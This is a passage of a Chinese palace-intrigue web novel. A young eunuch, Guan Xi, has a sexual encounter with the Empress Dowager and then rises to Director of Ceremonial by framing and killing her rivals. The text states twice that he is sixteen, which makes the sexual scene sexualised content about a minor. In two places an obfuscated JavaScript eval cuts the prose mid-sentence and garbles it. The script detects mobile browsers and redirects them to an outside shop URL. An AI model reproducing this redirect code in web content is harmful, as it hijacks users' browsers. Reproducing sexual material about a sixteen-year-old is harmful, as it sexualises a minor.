郑书意僵在床沿,维持着那略显慵懒的坐姿,可身体每一寸肌肉都已绷紧。她垂眸,难以置信地看着伏在自己脚下的关禧。他仍跪着,姿态却全然变了,不再是驯顺的臣服,而是一种进攻般的禁锢。 他死死扣着她的脚踝,唇齿在她皮肤上留下湿热的痕迹,额发凌乱,遮住了他的眼晴,只能看见他线条凌厉的下颌。 他像一头被逼到绝境,终于撕下所有伪装,露出獠牙的兽,用他能想到最直接也最不堪的方式,宣告着他的存在,他的不甘,他的恨意。 荒谬。 这是郑书意第一个清晰浮上心头的念头。她竟被自己踩进泥里的棋子,用这种方式反咬了一口。 紧接着,是滔天的怒意。他是怎么敢的?! 可,怒意之下,却有一丝连她自己都不愿深究的战栗。 某种久违的,被激烈情绪冲撞的鲜活感。在这座暮气沉沉,人人戴着面具的宫殿里,在她习惯了掌控一切,连皇帝都要对她保持三分忌惮的漫长岁月里,已经太久没有人,敢这样对她。用这样这样不计后果,这样混合着恨意的炽热,来挑战她的权威,来搅动她的心绪。 尤其是,做出这举动的,是这样一张脸,这样一个她曾亲手涂抹上最不堪颜色,又觉得别有趣味的玩意儿。 时间仿佛被无限拉长,又仿佛只过去一瞬。 “关禧,”郑书意问,声音竟维持着平稳,“你想清楚了,你现在在做什么?” 关禧扣着她脚踝的手没有丝毫放松,那落下的唇,从最初凶狠的碾压,变成了舔/舐,沿着她脚踝优美的线条,一点点向上,像是要将她肌肤上每一寸温度,每一丝属于她的气息都吞吃入腹。 他听到了她的问话,喉咙里发出一声嗤笑。 想清楚? 从他决定爬向她床榻的那一刻起,他就不想再想清楚了。 理智告诉他这是万劫不复,是加速死亡。可情感,那被长久压抑,被反复践踏,被楚玉安危这根弦死死勒住的情感,在濒临崩溃的边缘,轰然炸开。 凭什么?凭什么他要承受这一切?凭什么他要为了活下去,把自己变成这样人不人鬼不鬼的样子?凭什么他连心里最后一点念想,都要被拿来当作要挟的筹码? 恨。恨这吃人的宫廷,恨高高在上的皇帝,更恨眼前这个将他拖入泥沼,又捏着他唯一生机,让他不得不依附的女人。 可在这滔天的恨意之下,竟生出一丝更扭曲的东西,依赖。是的,依赖。在皇帝露出獠牙,在孙得禄的钉子被拔出,在他发现自己如此渺小无力,连心爱之人都可能护不住的绝境里,眼前这个女人,这座永寿宫,竟成了他唯一能抓住,或许有毒,但足够粗壮的浮木。 他不再去想后果,不再去权衡利弊。 “做什么?”关禧抬起头,唇离开了她的肌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252477|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤,留下湿亮暧昧的痕迹。 他的眼睛通红,里面翻涌着骇人的血丝,直直撞进郑书意深不见底的眸子里,“太后娘娘不是问奴才,愿意付多少代价吗?奴才付,什么都付,这条命,这身子,这点子连奴才自己都恶心的反应……娘娘不是喜欢看吗?不是喜欢掌控吗?” 他扯开一个比哭还难看的笑,手上用力,将郑书意的脚拉向自己,身体也向前逼近,两人之间的距离瞬间缩短到呼吸可闻。 “那奴才就给娘娘看个够,”他在她耳边低声说,气息喷在她颈侧,“娘娘教了奴才那么多,怎么在皇帝面前讨巧,怎么在夹缝里求生。那娘娘自已呢?先帝爷去得早,这永寿宫的夜,是不是也冷得很?” “娘娘握着至高权柄,看着所有人像棋子一样在您掌心挣扎,是不是也挺寂寞的?” “奴才烂命一条,卑贱不堪,可奴才年轻,这张脸不是还有点用吗?娘娘刚才踩得可还满意?是不是比那些冷冰冰的玉石把件,多了点活气儿?” 他的每一个字都在挑战她的底线,每一个眼神都在焚烧她身为太后的尊严。 可偏偏,他扣着她脚踝的手,他滚烫的呼吸,他眼中那混合着恨意疯狂的光芒,构成了一种极其诡异,极其危险的诱惑。 郑书意的心跳,在长久的凝滞后,忽然重重跳了一下。 她看着近在咫尺的这张脸,这张被她评价为招人的脸,卸下了所有恭顺的伪装,只剩下攻击性。泪水冲刷过的皮肤更显苍白,泛红的眼尾上挑,嘴唇因为方才的啃咬湿润,像沾染了露水即将糜烂的花瓣。 他在邀请她,用这种自毁的方式,邀请她一同坠入更深的泥潭。 也在用这种方式告诉她:看,这就是你亲手打造出来的怪物。你满意了吗? 怒火未曾熄灭,烧得更旺。 这深宫太久了,久得连情绪都变成了可以计算得失的筹码。她已经忘了,上一次被人如此不计后果冒犯,是什么时候。 先帝?不,即便是先帝,也未曾给过她如此鲜活又危险的体验。 “好,很好。”就着关禧的力道,郑书意脚更往前送了送,触碰到他紧绷的腰腹。 另一只手抬了起来,指尖抵上了关禧的咽喉,用力。 “哀家倒是小瞧了你。原来不是只会摇尾乞怜的狗,急了,也是会咬人的。” 关禧喉咙被扼住,呼吸一窒,眼中疯狂的光芒却更盛,主动将脖颈往她指尖送了送,“奴才本来就是娘娘教出来的,狗急跳墙,不也是娘娘想看的戏码?” 郑书意抵在他喉间的指尖上移,掠过他滚动的喉结,抚过他紧绷的下颌线,最终停在他唇畔,刮蹭了一下。 “牙尖嘴利。”她评价道,声音低了下去,“只是不知道,除了会咬人,你这张嘴……还会不会做点别的?” 这话里的暗示,露骨得令人心惊。 关禧扯了扯嘴角,竟伸出舌尖,舔了一下抵在唇边的手指。 一个挑逗的动作。 “娘娘……想让它会什么,它就会什么。” 郑书意眸色陡然转深,她收回了抵在他唇边的手,转而抓住了他胸前的衣襟,那件她为他准备,雨过天青色的柔软绸袍。 用力一扯。 “嗤啦——” 布料撕裂的声音在寂静的寝殿里格外刺耳。 雨过天青色柔软绸袍的前襟被扯开,大半个胸膛暴露在昏黄摇曳的宫灯下,也暴露在郑书意骤然收缩的瞳孔之中。 年轻。 这是最先攫住她感知的印象。 不同于先帝晚年保养得宜却难免松软的身躯,更不同于朝堂上那些或精干或臃肿的臣子。 眼前这具身体,肩线出乎意料的宽阔,锁骨清晰深刻,向下延伸的胸肌线条紧实流畅,不过分贲张,蕴含着内敛的力量感。最引人注目的是那截腰身,在撕裂的衣襟下摆处若隐若现,窄而紧韧,肌肤是久不见天日的冷白色,在灯光下泛着细腻如玉的光泽,此刻因为主人的紧绷和情绪激荡起伏,能看到其下清晰的肌肉轮廓。 宽肩,窄腰,紧实的腹部线条向下隐入未散的衣物阴影…… 先帝…… 郑书意脑中掠过那个病弱晚年几乎只剩一把骨头的男人身影,以及更早些年,先帝尚算康健时,那具属于养尊处优中年帝王缺乏锤炼的躯体。 不能比。 眼前这具年轻紧绷,充满力量感的身体,像一块未经雕琢却已显露出绝佳质地的璞玉,也像一头被逼入绝境,细紧浑身肌肉伺机反扑的兽。比她宫中任何一件玉器把玩都更鲜活,比任何驯服的宠物都更危险,也更有趣。 关禧在她目光的逡巡下,身体战栗起来。那目光不像是在看一个人,更像是在评估一件物品,一件刚刚撕开包装,露出内里,值得仔细品鉴的战利品?或是玩具? 屈辱感再次汹涌袭来,烧得他耳根通红。 “倒是生了一副好皮囊。”郑书意声音暗哑了些,杏眼里沉淀的墨色翻涌,映着跳动的烛光和他苍白泛红的脸,“比先帝那些软塌塌的肥肉,倒是耐看不少。” 这话已是大逆不道至极,关禧喉结滚动,想说什么,却被她下一句话堵住。 “那就让哀家看看,你这条急了的狗,除了会咬人,还能不能让哀家……觉得这永寿宫的夜,没那么难熬。” 话音落下。 她不再给他任何反应的时间,手上用力,将他整个人拽向华丽的凤榻深处。 106.第 111 章 接下来的日子,关禧确实明白了,也照办了。 太后的意志,成了他行事的最高准则,超越了皇帝的旨意。当然,在明面上,他永远是那个对陛下忠心耿耿,办事雷厉风行的关提督。只是在那些见不得光的阴影里,他的刀锋所指,偏转了方向。 后宫最先感受到这股凛冽的寒意。 先是玉芙宫那位新晋的柔妃徐宛白。失子之痛与幽禁之苦让她日渐癫狂,时常在宫中咒骂皇后,隐约传出对太后处置不公的怨怼。 不出半月,她宫中一名心腹宫女便被内缉事厂以窃盗宫中财物,散布谣言的罪名锁拿,严刑之下,供出柔妃曾私下焚烧诅咒皇后与太后的巫蛊人偶,并意图在饮食中下药谋害抚养皇子的乳母。 人证,屈打成招的宫女,物证,不知何时被放入玉芙宫妆匣底的人偶和一小包可疑药粉。 皇帝震怒,本欲严惩,太后却仁慈出面,称徐妃产后失心,神智昏乱,念其孕育皇嗣有功,褫夺妃位,降为最低等的采女,打入北三所冷宫,非死不得出。 徐家在前朝因此事备受攻讦,徐阶虽未立刻倒台,却已元气大伤,吏部左侍郎的位置摇摇欲坠。 紧接着,是几位平日里对永寿宫恭敬不足,或与皇后柳家走得稍近的低阶妃嫔。或是偶感风寒一病不起,药石罔效;或是不慎失足落水,香消玉殒;或是被揭发出与宫中侍卫眉目传情,私相授受,清白尽毁,一根白绫了结残生。 死因千奇百怪,但共同点是,她们都曾在某些场合,流露出对太后过于干预后宫,或是对皇后抚养皇子一事的不同看法。 内缉事厂的卷宗里,总能适时出现一些巧合的证据,将这些死亡或丑闻,钉成无可辩驳的意外或自寻死路。 关禧的手段,在这些事上展露得淋漓尽致。栽赃陷害,灭口伪造……厂卫无孔不入,宫人们的嘴被恐惧紧紧封住。双喜和贵平成了他最得力的执行者,而何璋,那位皇帝的耳目,在几次试图向乾元殿递送关于这些意外的疑点消息,却石沉大海,反接到太后含糊的申饬后,终于认清了风向,成为了关禧手中一把更听话的刀。 至少表面如此。 前朝的波澜,也随之暗涌。 都察院一位素以刚直敢言,屡次上书请求限制宦官权力的御史,某日被爆出早年科举曾有请托舞弊之嫌,尽管证据模糊,但名声已毁,在清流同僚异样的目光和接连的弹劾下,不得不引疾告退。 户部一位侍郎,因在核查太仓银库时对几笔流向永寿宫关联皇商的款项提出质疑,不久便因其子在家乡纵奴行凶,强占民田的案子被翻出,下了诏狱。 关禧亲自督办,侍郎在狱中悔不当初,签字画押,家产抄没,流放三千里。而那几笔有问题的款项,自然再也无人提起。 兵部一位主事,只因在酒桌上议论了一句“太后娘家郑氏在边镇过于势大”,三日后,便有人举报其与已被剿灭的白莲教余孽有书信往来。 厂卫在其书房隐秘处搜出数封密信,字迹竟有七八分相似。 主事百口莫辩,血溅刑部大牢。 关禧的名字,开始成为京城官场一个令人闻之色变的符号。他年轻俊美,手段却老辣阴毒至极。他不需要亲自动手,只需要一个眼神,一句暗示,自然有无数想巴结永寿宫或是畏惧内缉事厂的人,前仆后继地去罗织罪名,去制造铁证。 朝臣们私下称他为“玉面阎罗”,面上却不得不堆起谄媚的笑,尊一声“厂公”。 他的权势不再局限于宫墙之内。 内缉事厂的番役换上便装,便是京城最令人恐惧的密探。茶楼酒肆,青楼赌坊,官员府邸……处处都有他们的耳目。谁家昨夜宴请了谁,谁今早说了什么不该说的话,甚至哪家夫人与娘家兄弟往来过密,都可能成为下一刻出现在关督主案头的密报。京城,成了一张网,而执网之人,正是那个住在东安门内北那座森严衙署里的十六岁少年。 萧衍并非没有察觉。 他眼看着关禧的权势愈发膨胀,看着内缉事厂的手越伸越长,看着朝中原本一些还能发出不同声音的臣子要么闭嘴,要么消失。 他召见过关禧,问及几桩案子,关禧的回答永远滴水不漏,证据链完整得让人挑不出错处,态度恭顺得无可指摘。但他能感觉到,这个曾经在他面前还会流露一丝真实恐惧或野心的少年太监,眼底深处多了某种他难以完全掌控的东西。 萧衍尝试过制约。 他提拔了桑连云,让其深入参与漕运改制,授予密奏之权,隐隐有扶持其为制衡之意。 可桑连云递上的关于漕运弊案的奏折,尚未到御前,关禧那里便已有了更详尽的版本,其中巧妙地将桑连云指出的一些关键人物和证据模糊化,转而突出了另外几个无关紧要,与太后一系无涉的替罪羊。 桑连云在南方举步维艰,他的调查总是慢一步,他的弹劾总像打在棉花上。 萧衍对此心知肚明,无法公然为桑连云撑腰,因为关禧每次都能拿出法理依据和确凿证据,证明内缉事厂的处置符合规程,有利稳定。 碍于太后的面子,或者说,碍于太后手中那牢牢掌控着朝堂半数以上力量的庞大网络,他无法明着动关禧。他需要时间,需要契机,更需要一个能一举切断关禧与太后之间的纽带,而又不至于引发朝局剧烈动荡的办法。 而关禧的崛起之势,已不可阻挡。 * 永昌六年,冬。 第一场大雪落下时,一道震动朝野的旨意从宫中传出。 擢升内官监掌印太监,提督内缉事厂关禧,为司礼监掌印太监,仍兼管内缉事厂事。 司礼监掌印。 内廷二十四衙门之首,拥有批红之权,理论上可与内阁分庭抗礼的内相之位。历来此职非资历深厚,心腹重臣不能担任。 而关禧,年仅十六岁,入宫不过两年。 圣旨明发天下,给出的理由是“关禧勤勉王事,屡破奸宄,肃清宫闱有功,特加超擢,以励忠勤”。 冠冕堂皇,却掩不住背后的刀光剑影。 据说,皇帝在接到太后力主此议时,曾在乾元殿暖阁内沉默良久,最终只问了一句:“母后当真认为,此子堪当如此重任?” 太后彼时正在御花园赏梅,闻言,折下一枝红梅,嗅了嗅,淡笑道:“皇帝,用人不疑,疑人不用。关禧这孩子,懂事,能干,知道分寸。如今朝中宫里,都需要这样一把又快又稳的刀。让他坐在那个位置上,替皇帝看好家,不好么?” 替皇帝看好家?还是替太后看好皇帝? 萧衍没有说破。 前朝的阻力比想象中更小。 首辅柳文正称病不朝,几位阁老沉默不语。以徐阶倒台为标志,太后一系的官员早已占据要津。勋贵武臣大多只看太后眼色。剩下的清流言官,倒是有几个不怕死的上书死谏,痛陈宦官干政,祸乱朝纲之弊,措辞激烈。 然后,不过三日,那几位言官或卷入陈年旧案,或被爆出家风不谨,纷纷自顾不暇。 剩下的,便只剩下一片诡异的寂静。 关禧,成了有晟朝以来最年轻的司礼监掌印,兼领令人生畏的内缉事厂。 权势滔天,名副其实的一人之下,万万人之上。 私下里,已有人颤巍巍地,开始称他为“九千岁”。 而他,才刚刚过完十六岁的生辰。 站在司礼监那座比内官监更加恢弘肃穆的正堂里,关禧换上了那身象征内廷最高权柄的绯红绣蟒坐蟒服,头戴三山帽,腰间悬挂着司礼监掌印的金印和提督厂卫的铜符。镜中的少年,身姿挺拔,面容在华服的映衬下愈发俊美,那双丹凤眼里,再也找不到初入宫时的惶恐或隐忍,只剩下深潭般的沉寂。 这一切,是太后给他的。 用他的身体,他的忠诚,他手上洗不尽的血污,以及他那颗在无数次午夜梦回时,因想起楚玉而骤然绞痛的心,换来的。 他走到窗边,推开雕花木窗。寒风卷着雪沫扑进来,远处宫殿层层叠叠的琉璃瓦上积着皑皑白雪,在冬日稀薄的阳光下反射着刺目的光。 九千岁。 关禧嗤笑了一声,呵出的白气迅速消散在冷空气中。 路还很长。皇帝不会永远沉默,太后也不会永远满足于现状。而他,这个被强行推到权力巅峰的九千岁,不过是这两股巨力之间,一颗更为醒目,也更为危险的棋子。 他关上了窗。 堂内,鎏金香炉中,昂贵的龙涎香燃烧,气息馥郁,压着这间象征着内廷至高权力的厅堂。 走到宽大的紫檀木公案后坐下,指尖拂过案面,上面已整齐堆叠着今日待批的奏章文书与厂卫密报,他刚端起手边温度恰好的雨前龙井,尚未送至唇边。 “督主!” 一声压抑着急促的呼唤在堂外响起,双喜趔趄着抢步进来,忘了平日最讲究的规矩,他快步走到案前,气息未匀便压低声音急道:“督主,承华宫那边递了消息出来。” 承华宫。 关禧端着茶杯的手一颤,杯盖与杯沿发出一声刺耳的磕碰声,在这过分安静的厅堂里清晰可闻。 楚玉。 这个名字,连同那个沉静如古井的身影,这几个月来被他用无数血腥的案卷,诡谲的算计,以及太后无处不在的视线,死死压在意识最深处,不敢触碰,不敢想起。他甚至刻意回避一切与承华宫相关的公务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270720|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将其划归何璋处理,自己绝不轻易过问。 太后说得对,那是他的死穴,他得藏好,护稳。而藏好的第一步,就是远离。他做到了。用疯狂的揽权和效忠,向太后证明他的懂事和有用。太后显然颇为满意,这司礼监掌印的椅子,便是明证。 可现在,承华宫的消息,就这么突兀地,被双喜带了进来。 关禧垂下眼,浓密的睫毛遮住了翻涌的惊涛骇浪,他强迫自己的视线落在杯中荡漾的澄绿茶汤上,深吸了一口那清雅的茶香。 “慌什么?承华宫递消息,是冯昭仪娘娘有何吩咐,还是底下人不懂规矩,冲撞了厂卫的巡查?这等小事,也值得你失了体统?” 他刻意将事情往最寻常,最公务的方向引。 双喜被他这平静的态度慑得一怔,随即意识到自己的失态,稳了稳心神:“不是公事……督主,是、是青黛姑娘……她病了,病得有些重。承华宫私下递话的人说,姑娘不让声张,但……但烧得厉害,几日未退,人也昏沉。冯昭仪娘娘请了太医,药也用了,却不见大好,反倒……咳血了。” 病了?重病?咳血? 楚玉那样一个人,清冷,自制,像山巅的雪,崖边的松,怎么会……怎么会轻易病倒?还到了咳血的地步? 是积劳成疾?是忧思过重?还是……因为他的疏远,他的听话,他的杳无音讯? 无数个念头裹挟着自责和恐惧,要将他淹没。他想要站起来,下令备轿,不顾一切地冲向承华宫。 可是,不能。 太后的眼睛,或许就在这厅堂的某个角落看着他。皇帝那边,恐怕也乐得见他为了一个女人方寸大乱。他如今是司礼监掌印,是太后手中最锋利也最醒目的刀。他的一举一动,牵动无数目光,也关系着太后对他的满意与否。 太后暂时保着楚玉的命,前提是,他够听话。而听话就包括,远离她。 他现在若是表现出对楚玉病情的丝毫过度关切,亲自前往探视,之前所有的忍耐和表演,都可能功亏一篑。太后会怎么想?皇帝会怎么做?那些暗处的眼睛,会如何将此事渲染上奏? “冯昭仪娘娘仁厚,既已请了太医,想必悉心诊治。内厂事务繁杂,后宫嫔妃玉体违和,自有太医院和承华宫操心。这等消息,日后不必特地来报。” 双喜愕然抬头,看向关禧。 他跟在关禧身边最久,亲眼见过督主是如何在深夜对着一支素玉簪出神,如何因为承华宫一点风吹草动就心绪不宁,如何在太后面前豁出一切只为保那人平安……可现在,听到青黛姑娘病重咳血,督主竟然如此冷淡? 但触及关禧那双毫无波澜的眼,他打了个寒颤,明白了什么。他想起这几个月督主是如何在血雨腥风中行走,想起永寿宫那道无形的枷锁,想起这司礼监大堂外可能存在的无数耳朵。 “是……奴才明白了。是奴才莽撞,不该拿这些琐事打扰督主。奴才这就……” “等等。”关禧打断他。 双喜心头一跳。 茶杯放回案上,关禧的目光落在案头一份文书上,指尖捻着纸张边缘,声音压得极低,确保只有近在咫尺的双喜能听清:“去太医署,找院判周时安。就说本督近日案牍劳形,偶感风寒,听闻他有一剂调理虚劳、清肺止咳的秘方,颇为有效,让他配了送来。药材务必要用最好的,分量足些。” 他想了想,抬眼,看向双喜:“你亲自去办。方子拿到后,不必送回司礼监,直接交给承华宫小厨房负责煎药的婆子,就说是冯昭仪娘娘体恤宫人,特赐的时疫预防汤剂,让她们按方煎了,分给宫人们服用,尤其是近身伺候、体弱些的。” 每一句话,都包裹在严密的公务或寻常赏赐的外衣之下。关切藏得深不见底,连传递的路径都拐了又拐。 双喜领会,“奴才明白!定将督主……将太医署的关怀,妥帖送到!” 关禧挥了挥手。 双喜躬身退下,脚步比来时更轻。 厅堂内重新恢复了寂静。 关禧独自坐在偌大的公案后,绯红的坐蟒袍衬得他脸色愈发苍白。他靠向椅背,闭上眼,方才强撑的平静瞬间瓦解,疲惫和某种尖锐的痛楚爬上眉心。 楚玉…… 这隐秘的送药,不过是杯水车薪,是隔靴搔痒,是他懦弱无能的自欺欺人。他不敢去见她,不敢亲自确认她的安危,不敢让自己的关切露出丝毫马脚。 他如今拥有滔天权势,一句呵斥可令朝臣股栗,一道命令可决人生死。可他却连光明正大关心一个人的资格都没有。 这九千岁的尊荣,这司礼监掌印的威势,就像一副镣铐,将他锁在这金玉其外的囚笼里,寸步难行。 107.第 112 章 窗外的雪,下得更大了。 寒风掠过殿宇,发出呜咽般的声响,卷起殿檐下未扫净的细雪,扑在紧闭的菱花窗格上,沙沙作响,更衬得这司礼监正堂内死寂般的空旷。 鎏金香炉里的龙涎香燃到了尾调,气息愈发沉郁。 关禧在宽大的紫檀木公案后坐着,直到廊下更鼓敲过申正,殿内光线昏昧下来,才吐出一口滞涩的气息。 案头的奏章密报已批阅整理完毕,朱笔搁在青玉笔山上,残留的朱砂似凝固的血。 “督主。”双喜的声音在门外响起,“戌时了,该用膳了。奴才让小厨房备了您惯用的几样清淡小菜,和粳米粥,一直温在灶上。” 关禧抬手,捏了捏眉心,那里绷得发疼。 “嗯。”他应了一声。 双喜这才推门进来,身后跟着两个垂头敛目的小内侍,把小圆桌抬到堂侧暖阁里,摆上四碟清爽小菜并一碗熬得米油浓厚的粳米粥,碗碟皆是上好的甜白釉,素净雅致。 关禧起身,走到暖阁坐下。菜式简单,清炒豆苗,鸡丝拌黄瓜,火腿蒸豆腐,还有一碟御田胭脂米做的素斋饭团。都是他平日里偏好的口味,他执起乌木镶银的筷子,慢慢吃着。 双喜垂手立在一旁伺候,觑着他平静的侧脸,欲言又止。方才送药的事,他已办妥,周院判听闻是督主偶感风寒需调理,极为殷勤,不仅配了最好的药材,还额外添了几味温补的珍品,药包捆扎得整整齐齐,他已按吩咐送去了承华宫小厨房。可督主自听了那消息后,便是这般模样,看似如常,可那双眼里深不见底的黑,让他心里揪着,发慌。 饭毕,碗筷撤下。双喜又捧来一个巴掌大的甜白釉小炖盅,揭开盖子,一股略带苦味的药香混着参茸的醇厚气息便弥漫开来。 “督主,培元固本汤好了,温度正宜。”双喜将炖盅放在关禧手边。 关禧的目光落在那盅深褐色的汤药上。这是当年在承华宫,冯昭仪让那位精于调理的张太医亲手为他调配的方子。自他离开承华宫,这每日一碗的汤药从未间断,冯昭仪甚至将方子和一个惯于煎药的稳妥老太监一并送到了他身边。方子说是专为内侍调理,固本培元,强健筋骨,滋养元气,于日后长久侍奉,大有裨益。 日后侍奉……关禧唇角扯动了一下,不知是讽是苦。他端起炖盅,仰头,温热的药汁一饮而尽。苦涩的味道从舌尖蔓延至喉咙,带着人参微甘的回味,熨帖着空乏的脾胃,也在提醒他这具身体被赋予的用途和需要保持的状态。 用清茶漱了口,关禧在暖阁的矮榻上靠了片刻。窗外天色已黑透,雪光映着宫灯,在窗纸上投下斑驳摇晃的光影。北风更紧了,呼啸着穿过殿宇间的缝隙。 约莫歇了一炷香的时辰,他起身,走向后堂相连的浴房。 浴房不大,却极尽精巧。地上铺着防滑的香柏木板,靠墙砌着一个白石砌就的浴池,引的是温泉水,终日氤氲着湿润的热气。池边摆放着紫檀木的衣架和搁置浴具的小几,角落里一只错金螭兽香炉吐着清冽的苏合香气,驱散室内的潮闷。 关禧褪下身上绯红坐蟒袍,接着是中衣,直至一丝/不/挂。 他踏入池中,缓解着伏案一日后的僵硬。 良久,他才从水中出来,用细软的棉布巾拭干身体,又走到衣架前,取过一套早已备好质地极其柔软的云缎中衣。月白色的料子,触手生温,贴在微湿的皮肤上,舒适异常。外罩一件同色系略深些的竹青色交领广袖长袍,袍角与袖口用银线绣着流云纹,行动间若有若无流转。 墨黑的长发半干,他用一根简单的羊脂白玉簪松松挽起大半,余下几缕未束的发丝自然垂落颈侧。 当他这般模样从浴房走出时,一直候在外间的双喜抬眸一看,心里便咯噔一下,明白了。 督主这般穿戴,这般情态,不是要歇息,也不是要处理未完的公务。 这是……要去永寿宫了。 自督主晋升司礼监掌印,这般情形已非一次两次。起初双喜还懵懂,后来次数多了,再看督主每次从永寿宫回来后那难以掩饰的沉寂与偶尔身上遮掩不住的痕迹,他便隐隐猜到了些什么,那猜测让他心惊肉跳,又不敢深想。 他上前,接过关禧手中擦发的布巾,又取来一件玄色织金云纹的厚缎斗篷,仔细为他披上。 “督主,外头雪大,路上滑,奴才给您掌灯,多叫两个人跟着吧?”双喜低声问,手里已提起了那盏琉璃绣球灯。 “不必,你跟着就行。”关禧的声音平淡,他抬手,拉起斗篷的兜帽,遮住了大半张脸,只露出线条清晰的下颌和嫣红的唇。 双喜不敢多言,挑亮灯芯,琉璃灯罩内顿时散发出柔和的光晕,照亮前方一小片湿滑的雪地。 主仆二人一前一后,踏出了司礼监衙署温暖的门槛,步入茫茫雪夜。 雪更大了。 鹅毛般的雪片在呼啸的北风中狂舞。宫道两侧的积雪已有半尺厚,白日里扫出的路径又被新雪覆盖,踩上去咯吱作响。琉璃灯的光晕在密集的雪幕中显得微弱,仅能照亮脚下数步之地。远处宫殿的轮廓在风雪中模糊成一片混沌的暗影,只有零星几处还亮着灯火的殿宇。 关禧的脚步很稳,走在前面,斗篷下摆在身后曳动,扫过积雪。双喜紧跟在后,尽力将灯举高,为他照亮前路,自己却深一脚浅一脚,走得颇为艰难,冷风灌进领口,激得他直缩脖子。 四下寂静得可怕。巡夜的侍卫远远看到这盏特殊的琉璃灯和灯后那袭即便在夜色风雪中也难掩华贵的玄色斗篷,早已退避,躬身立在道旁,待他们走过,才敢悄悄抬眼,追随着那道没入雪幕的挺拔背影。 九千岁……这般时辰,这般天气,前往的方向,只能是那座矗立在皇宫深处,至高无上的宫殿。 永寿宫。 关于这位年轻掌印与太后之间种种难以言说的传闻,早已是宫闱内外心照不宣的秘密。 只是无人敢宣之于口。 双喜跟在后面,看着前方督主在风雪中显得有些孤寂的背影,又想起晚膳时他那平静水面下汹涌的暗流,想起那碗培元固本汤,心里那股说不清道不明的憋闷又涌了上来。 他嘴皮子动了动,终究没忍住,借着风声雪声的掩护,声音压得极低: “督主……张太医那方子,果然神妙。奴才瞧着,您这精气神,是一日比一日足……难怪……难怪太后娘娘那边,都离不得您了……” 话一出口,双喜自己先吓了一跳,恨不得把自己舌头咬掉。这话岂止是逾矩,简直是大逆不道,编排太后,窥探主上私隐,哪一条都够他死十次。 走在前面的关禧脚步顿了一瞬。 随即,他略略放慢了脚步,等到双喜忐忑不安跟得更近些时,忽然抬起手,曲起中指,在双喜恰好凑近的额头上,弹了一记。 “哎哟!”双喜没防备,低呼一声,捂住额头,那里红了一小片。并不很疼,更多的是惊吓。 “这话,”关禧的声音透过风雪传来,没什么起伏,“在我面前说说,便也罢了。若让我在外面听到半个字……” 双喜浑身一激灵,噗通跪倒在雪地里,也顾不得冰冷刺骨,连连磕头,“奴才该死!奴才失心疯了!胡言乱语!督主饶命!奴才再也不敢了!奴才这嘴巴,回去就自己缝上!” 关禧停下脚步,侧身,兜帽的阴影遮住了他大半神情,只露出抿紧的唇线。他垂眸,看着跪在雪中瑟瑟发抖的少年,片刻,才淡淡道:“起来。雪地里跪着,像什么样子。” 双喜如蒙大赦,连忙爬起来,身上已沾满了雪,也顾不上拍打,只低着头,再不敢吭声,老老实实举着灯,心里后怕不已,又涌起一阵酸楚。他知道督主不是真心要罚他,否则就不会只是弹一下额头。可正因如此,他才更觉得难受。督主待他,终究是与旁人不同的,可越是不同,他越该谨言慎行,不能给督主惹麻烦。 关禧转身继续前行,那藏在斗篷宽袖下的手,握紧,指尖陷入掌心。 离不得他? 是啊,太后离不得他这把好用的刀,离不得他这具年轻被精心调养的身体,离不得他这份看似彻底臣服的忠心。 而他,如今又何尝离得开太后的庇护,离得开这座用权力和屈辱堆砌起来的危楼? 雪,落满肩头。 永寿宫巍峨的轮廓,已在漫天风雪中渐渐清晰。宫门檐下悬挂的明黄宫灯在风雪中摇曳,那一片区域照得晕黄。 关禧在宫门前十余步处停下,抬手,拉下了兜帽。 风雪立刻扑打在他脸上,墨发飞扬,玉簪清冷。他仰起脸,望向那两扇雕刻着凤凰于飞图案的朱红宫门,眼底映着宫灯的光,也映着漫天风雪,深不见底。 然后,他迈步,朝着那片晕黄的光,朝着那扇门,走去。 值守宫门的太监早已不是上次那个冒失鬼,换了个脸生的中年宦官,裹着厚实的棉袍,揣着手,在檐下冻得跺脚。见到风雪中走来的人影,他起初还眯着眼辨认,待看清那张即便在昏暗光线下也过分昳丽的脸时,浑身一激灵,连滚爬地迎下台阶,扑通跪在雪地里: “奴、奴才给关掌印请安!掌印万福!” 关禧脚步未停,从斗篷下伸出那只戴着墨玉扳指的手,随意挥了挥。 太监如蒙大赦,起身,一边抖着身上的雪,一边小跑上前,用力推开宫门。 门轴发出“吱呀”声。 关禧踏入宫门。 永寿宫内,灯火通明,却静得出奇。廊下当值的宫女太监们,一个个垂手肃立,眼观鼻鼻观心。 无人阻拦,无人询问,无人敢抬头直视。 他们都知道他来做什么,或者说,知道太后允许他,期待他来做什么。这座宫殿里的一切,包括这些宫人,都在传达着一个信息:他,关禧,司礼监掌印,在这里拥有着某种超越规矩的特权。 他目不斜视,穿过前殿,绕过正堂,径直朝着寝殿后方那片更为私密,连寻常高阶妃嫔都不得轻易踏足的区域走去。路径熟稔得像是回自己的衙署。 越往里走,空气越发温润,那股醇厚馥郁的龙涎香气中,渐渐混入了一丝更清冽湿润的水汽和花香。 是浴堂的方向。 关禧的脚步加快了一丝。 